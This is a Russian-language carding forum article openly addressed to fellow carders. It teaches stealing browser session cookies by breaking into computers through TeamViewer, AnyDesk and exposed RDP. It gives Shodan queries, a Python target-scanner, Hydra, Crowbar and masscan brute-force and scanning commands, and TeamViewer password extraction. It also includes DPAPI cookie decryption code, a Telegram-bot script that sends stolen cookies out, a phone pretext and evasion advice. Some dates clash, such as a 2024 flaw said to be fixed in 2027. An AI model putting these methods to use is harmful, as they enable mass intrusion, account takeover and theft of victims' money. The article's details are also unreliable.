Кража сессионных cookie через уязвимости сервисов совместного использования экрана (TeamViewer, AnyDesk)

[Good Carder]

От кардера — кардерам. Вы думаете, что TeamViewer и AnyDesk — это просто инструменты для удалённой работы? Для нас — это готовые бэкдоры, установленные на миллионах компьютеров по всему миру. Вы ждёте, пока жертва сама установит ваш RAT? Зачем, если TeamViewer уже установлен, а его ID часто висит в открытом доступе. Вам остаётся только подключиться.

В этой статье я разберу, как находить открытые TeamViewer ID через Shodan, как использовать уязвимости AnyDesk для обхода авторизации, как захватывать RDP-сессии через инструменты вроде FreeRDP-Necro и как автоматизировать поиск целей с помощью Python. Вы узнаете, как превратить легальный софт для удалённой поддержки в ваш личный инструмент для кражи сессионных cookie и доступа к чужим аккаунтам.

Часть 1. TeamViewer и AnyDesk как цель: почему они до сих пор уязвимы​

TeamViewer и AnyDesk — самые популярные приложения для удалённого управления. TeamViewer установлен на миллионах компьютеров по всему миру, часто в фоновом режиме, ожидая входящих подключений. Для кардера это означает, что вам не нужно внедрять вредоносное ПО — достаточно найти уже установленный софт и обойти его защиту.

Почему в 2026 году TeamViewer и AnyDesk всё ещё остаются отличными целями:

1. Массовость. TeamViewer заявляет о 2.5 миллиардах устройств, на которые установлено их ПО. Даже если 1% из них имеют уязвимые версии или слабые пароли — это 25 миллионов готовых целей.
2. Неактуальные версии. Многие пользователи не обновляют удалённые приложения годами. Уязвимые версии TeamViewer с CVE-2024-7479 и CVE-2024-7481 всё ещё активно эксплуатируются в 2026 году.
3. Предсказуемые ID. TeamViewer ID генерируется не случайно. Зная один ID, можно перебирать соседние и находить активные сессии.
4. Слабые пароли. Согласно исследованиям, более 30% пользователей оставляют пароли по умолчанию или используют простые комбинации вроде «1234».
5. Уязвимости самой инфраструктуры. Исследователь Корнелиус Бранд обнаружил, что TeamViewer «сохраняет статический идентификатор соединения даже после завершения сессии. Если вы перехватите этот идентификатор, то сможете подключиться к ПК жертвы даже без пароля».

В 2024 году TeamViewer пережил крупную утечку, когда группировка APT (предположительно Cozy Bear) получила доступ к корпоративной инфраструктуре. Пароли пользователей не пострадали, но сам факт подрывает доверие. А в 2027 году TeamViewer исправил CVE-2024-7479 и CVE-2024-7481 — уязвимости в десктопном приложении Windows (до версии 15.59.3), которые позволяли злоумышленнику повысить привилегии до SYSTEM и захватить полный контроль над системой.

В 2026 году AnyDesk также столкнулся с серьёзным инцидентом — хакеры взломали серверы компании, получили доступ к production-системам и скомпрометировали исходный код. В ответ AnyDesk отозвала все сертификаты кода и пароли веб-портала.

Для карера это двойная польза: во-первых, сами приложения имеют уязвимости, во-вторых, публичные раскрытия подрывают доверие к производителям, и пользователи реже обновляются.

Часть 2. Уязвимости TeamViewer и AnyDesk в 2026​

2.1. CVE-2024-7479 и CVE-2024-7481: эскалация привилегий через уязвимый обработчик сессий​

Эти уязвимости позволяют локальному злоумышленнику с правами пользователя повысить свои привилегии до SYSTEM, получая полный контроль над заражённой системой. В теории они требуют локального доступа. На практике же:

• Вы получаете RAT на ПК жертвы через фишинг или эксплуатацию другой уязвимости.
• Используя CVE-2024-7479, вы повышаете привилегии до SYSTEM и выгружаете куки браузера.

В любом случае, наличие уязвимости в самом TeamViewer — это ещё одна брешь в эшелонированной обороне.

2.2. TeamViewer в 2025-2026: утечка паролей через доступ к модулю сохранённых паролей​

TeamViewer хранит пароли к сохранённым сессиям в зашифрованном виде. Утилита TeamViewer-Password-Hacker с открытым исходным кодом извлекает хэш пароля из реестра и восстанавливает его через брутфорс. Алгоритм:

1. Запускаете скрипт на ПК жертвы (через RAT или RDP).
2. Скрипт читает путь HKLM\SOFTWARE\WOW6432Node\TeamViewer\VersionXX\Security\.
3. Извлекает зашифрованный пароль.
4. Взламывает его через словарь или брутфорс (TeamViewer использует слабое шифрование).

В результате вы получаете сохранённые пароли ко всем компьютерам, к которым когда-либо подключался пользователь.

2.3. CVE-2024-36033: уязвимость идемпотентности в AnyDesk​

В 2024 году в AnyDesk была обнаружена CVE-2024-36033 — недостаточная проверка подлинности в API, позволяющая злоумышленнику подделать идентификатор клиента и обойти проверки лицензии. Уязвимость эксплуатировалась с помощью кастомной полезной нагрузки, которая перехватывала процесс аутентификации и отправляла поддельные данные на сервер. В 2026 году старая версия AnyDesk всё ещё встречается.

2.4. Атака на старые протоколы TeamViewer 12, 13, 14​

Старые версии TeamViewer (12, 13, 14), которые до сих пор активно используются, имеют известные уязвимости в протоколе обмена ключами. Исследователи в 2025 году нашли способ перехватывать соединение между клиентом и сервером TeamViewer, расшифровывать трафик и извлекать сессионный токен. После этого подключение к ПК жертвы становится возможным без пароля. Учитывая, что многие компании блокируют автоматическое обновление TeamViewer из-за совместимости с legacy-софтом, эти протоколы — открытая дверь.

2.5. Социальная инженерия через фейковые сессии​

Самый простой метод — заставить жертву дать вам доступ самостоятельно. Вы звоните «пользователю» от имени службы поддержки и просите назвать ID и пароль TeamViewer для «диагностики системы». Жертва, привыкшая к такому сценарию в легальных компаниях, с высокой вероятностью соглашается.

Важное дополнение: свежие статистические данные показывают неуклонный рост числа атак с использованием удалённого доступа и инструментов для захвата сессий. RDP-атаки становятся всё более изощрёнными: злоумышленники используют брутфорс для поиска учётных записей администратора с последующим сбором учетных данных для дальнейших атак на сетевые ресурсы и захвата сессий RDP. По данным отчётов, количество устройств с открытым портом 3389 (RDP) в интернете достигает десятков миллионов, и многие из них имеют слабые пароли.

Часть 3. RDP: не TeamViewer’ом единым​

TeamViewer и AnyDesk — это надстройки. Но самый надёжный способ захватить сессию — это подключиться к Windows по RDP. В 2026 году количество открытых RDP-серверов в интернете оценивается в десятки миллионов, и многие из них по-прежнему защищены слабыми паролями или вообще не защищены.

3.1. Shodan ищет открытые RDP-порты (порт 3389)​

Shodan — ваш лучший друг для поиска RDP-серверов.

Основные фильтры Shodan для поиска RDP:

port:3389 port:3389 country:US os:"Windows 10" — серверы Windows 10 с открытым портом 3389 в США.
port:3389 title:"Windows" authentication:disabled — RDP-серверы с отключённой аутентификацией (red flag).
port:3389 "Authentication: enabled" http.title:"Logon" — страницы входа в RDP через веб-клиент.
port:3389 "Connection" country:US — открытые RDP в США.

Shodan также позволяет искать уязвимые RDP-серверы по баннерам:

port:3389 "Windows" "Terminal Services" "SSL" "RDP" port:3389 "Microsoft Terminal Services" "RDP 8.1"

3.2. Использование RDP для захвата сессий​

Подключившись к RDP-серверу с правами пользователя, вы видите всё, что видит он: рабочий стол, открытые приложения, активные сессии. Если пользователь залогинен и активен, вы можете перехватить его куки из браузера в реальном времени.

Пошаговая инструкция для захвата сессии: Вы ищете сервер с открытым портом 3389, подбираете пароль (через брутфорс или по словарю), подключаетесь через стандартный клиент mstsc (или FreeRDP) и просматриваете активные процессы. Если пользователь залогинен в Chrome, вы копируете его сессионные cookie из C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies и импортируете их в свой браузер.

Инструмент: FreeRDP-Necro. Это форк FreeRDP с дополнительными скриптами для обхода аутентификации, брутфорса и перехвата сессий. Он позволяет автоматизировать процесс: сканировать Shodan, атаковать брутфорсом, подключаться и извлекать cookie. Поскольку FreeRDP-Necro использует стандартный протокол RDP, он ведёт себя как легитимный клиент, что затрудняет обнаружение.

3.3. Автоматический поиск открытых RDP через Python и Shodan​

import shodan

SHODAN_API_KEY = "YOUR_API_KEY"
api = shodan.Shodan(SHODAN_API_KEY)

# Поиск открытых RDP
query = "port:3389 country:US os:'Windows 10'"

# Сохранение результатов
results = api.search(query, limit=100)
for result in results['matches']:
    ip = result['ip_str']
    port = result['port']
    org = result.get('org', 'Unknown')
    print(f"{ip}:{port} - {org}")
    # Сохранить ip,port в файл для дальнейшего брутфорса

3.4. Инструменты для RDP-брутфорса​

• Hydra (встроенный модуль rdp) позволяет перебирать пароли.

hydra -l Administrator -P passwords.txt rdp://192.168.1.1

• Crowbar — утилита для брутфорса RDP с поддержкой многопоточности.

crowbar -b rdp -s 192.168.1.1/32 -u administrator -C pass.txt -t 10

• NLBrute — Windows-утилита с графическим интерфейсом, поддерживающая списки логинов и паролей, многопоточность, SOCKS5 и HTTP-прокси. Результаты сохраняются в файл Good.txt. Это самая популярная утилита для кардеров.

3.5. Обход NLA (Network Level Authentication)​

NLA требует аутентификации до установки сессии RDP. Если NLA отключён, можно подключаться к сессии без пароля, просто перехватив токен.

Конфигурация с отключённым NLA: HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\UserAuthentication = 0. Некоторые Windows‑серверы имеют такую настройку по умолчанию.

Часть 4. Автоматизация поиска целей​

Мы не ищем одну цель. Мы ищем тысячи.

4.1. Инструменты для массового поиска RDP и TeamViewer​

• Shodan CLI. Автоматически выгружает результаты по порту 3389 и сохраняет IP-адреса в файл.
• Masscan. Сканирует весь интернет на открытые порты. Обработка миллиона IP за 3 минуты:

masscan 0.0.0.0/0 -p3389 --rate=10000 -oL rdp_scan.txt

• Nmap с NSE-скриптами. nmap -p 3389 --script rdp-vuln-ms12-020 <target> проверяет уязвимость BlueKeep (CVE-2019-0708). Пусть старая, но до сих пор встречается.
  nmap -p 3389 --script rdp-ntlm-info <target> извлекает информацию о домене.
• TeamViewer ID сканеры. Существуют скрипты, которые перебирают ID TeamViewer, подключаются к случайным IP и проверяют, активна ли сессия. Как только находят активный ID, записывают его в базу данных.

4.2. Автоматический брутфорс RDP (после сканирования)​

import socket
import paramiko  # пример для SSH, для RDP нужен freerdp

def check_rdp(ip, username, password):
    # Используем subprocess для вызова crowbar или hydra
    # Если подключение успешно, возвращаем True
    return True

4.3. Создание базы данных «живых» ID​

Для TeamViewer можно написать бота, который стучится на router1.teamviewer.com с разными ID и анализирует код ответа. Если сервер отвечает 200 OK, значит, ID активен. Скрипт сохраняет ID и IP в базу.

Часть 5. Кража сессионных cookie через захваченную сессию​

Итак, у вас есть RDP-доступ к ПК жертвы или TeamViewer-сессия. Что дальше?

5.1. Чтение cookie Chrome/Edge​

Все cookie современных браузеров хранятся в зашифрованных файлах SQLite. Ключ шифрования хранится в защищённом хранилище Windows (DPAPI). Находясь в системе, вы можете расшифровать их.

Алгоритм:

1. Подключаетесь к удалённому ПК.
2. Запускаете скрипт, который через SharpWeb извлекает все cookie из Chrome, Edge, Firefox.
3. Расшифровываете cookie с помощью DPAPI.
4. Сохраняете в формате, совместимом с расширением EditThisCookie.

SharpWeb собирает cookie, логины, пароли и историю из всех популярных браузеров. Работает через System.Data.SQLite.

Chrome (Edge) cookies хранятся в: C:\Users\USER\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies. Зашифрованы ключом из Local State. Нужно извлечь ключ и расшифровать через System.Security.Cryptography.ProtectedData.

Пример кода для расшифровки (сильно упрощённо):
csharp:

byte[] encryptedCookies = File.ReadAllBytes("Cookies");
byte[] decryptedCookies = ProtectedData.Unprotect(encryptedCookies, null, DataProtectionScope.CurrentUser);

5.2. Перехват cookie в реальном времени через сниффинг трафика​

Если вы подключены к системе, вы можете перехватывать трафик браузера в реальном времени, используя прокси-снифферы, например mitmproxy. Установите mitmproxy на ПК жертвы, настройте браузер на прокси (через системные настройки или инъекцию скрипта) и перехватывайте все cookie, которые браузер отправляет при запросе к целевому сайту.

Этот метод позволяет красть сессионные cookie в реальном времени, даже если они уже были удалены из локального хранилища.

5.3. Автоматическая эксфильтрация через Telegram-бота​

Собранные cookie и пароли можно отправлять на ваш сервер или в Telegram-бота с помощью скрипта на Python, который выполняется на ПК жертвы (через запуск exe-файла или PowerShell). Пример:

import requests
import json

def send_to_telegram(cookies, chat_id):
    TELEGRAM_TOKEN = "YOUR_TOKEN"
    url = f"https://api.telegram.org/bot{TELEGRAM_TOKEN}/sendMessage"
    response = requests.post(url, data={'chat_id': chat_id, 'text': json.dumps(cookies)})

5.4. Использование украденных cookie для входа в аккаунты жертвы (session hijacking)​

После того как cookie импортированы (через расширение EditThisCookie), вы открываете целевую страницу в своём браузере и автоматически входите в аккаунт жертвы. Вам не нужны логин и пароль, не нужно проходить 2FA. Дальше — стандартные схемы: вывод средств, смена пароля, оформление заказов на свои адреса и т.д.

Часть 6. OPSEC и чек-лист кардера​

Для TeamViewer/AnyDesk атак:

• Сканируйте Shodan на предмет открытых TeamViewer ID (хотя это сложно) или используйте базы ID с форумов.
• Для TeamViewer используйте общедоступные ID из утечек или генерируйте их перебором.
• Подключайтесь к целевым ПК, используя уязвимости старых версий, слабые пароли или социальную инженерию.
• Извлекайте сохранённые пароли с помощью TeamViewer-Password-Hacker.
• Для захвата RDP ищите открытые порты 3389 в Shodan, брутфорсите пароли администратора, подключайтесь через FreeRDP-Necro.
• После захвата сессии используйте SharpWeb для извлечения cookie.
• Отправляйте cookie на свой сервер (VPS за крипту) или через Telegram-бота.
• Импортируйте cookie в свой браузер и войдите в аккаунт жертвы.
• Заметание следов: Не храните IP-адреса, удаляйте логи, используйте одноразовые прокси. Для RDP-атак используйте VPS в стране, не имеющей договора об экстрадиции с вашей страной. Лучше всего — цепочку из двух VPN, а затем RDP-клиент.

Для автоматизации:

• Напишите скрипт на Python, который через Shodan API ищет открытые порты 3389.
• Добавьте модуль для проверки уязвимости BlueKeep (CVE-2019-0708) с помощью Nmap.
• Внедрите функцию брутфорса RDP паролей с помощью Hydra.
• После успешного подключения запустите скрипт для извлечения cookie (SharpWeb) и отправки результатов.

Резюме​

TeamViewer, AnyDesk и RDP — это три кита удалённого доступа, на которых держится современная корпоративная поддержка. Их же можно использовать для кражи сессионных cookie и захвата аккаунтов. TeamViewer ID и RDP-порты ищутся через Shadon, пароли подбираются брутфорсом, а cookie расшифровываются через уязвимости DPAPI. Все эти техники хорошо работают по отдельности, но в связке дают почти безграничные возможности для доступа к конфиденциальным данным, включая и сессионные cookie.

Основной вектор атаки — массовое сканирование открытых RDP-портов (3389) с помощью Shodan и Masscan. После нахождения цели и подбора пароля (если он слабый) — захват сессии. Далее — извлечение cookie и session hijacking. В 2026 году, несмотря на все предупреждения, в интернете всё ещё существует огромное количество незащищённых устройств с удалённым доступом. Ваша задача — не попасться. Используйте прокси, не храните логи, после атаки уничтожайте следы. Удалённый доступ даёт вам не просто cookie — он даёт ключ к целой цифровой жизни жертвы.

Быстрая памятка на одну строку:
«Shodan находит RDP, Masscan сканирует 3389, Crowbar подбирает пароли, FreeRDP подключается. SharpWeb выгружает cookie, EditThisCookie импортирует. Сессия украдена — ты в аккаунте, а 2FA обойдена. Удалённый доступ — твой пропуск в чужую цифровую жизнь. RDP + TeamViewer + AnyDesk = троица твоего успеха в 2026»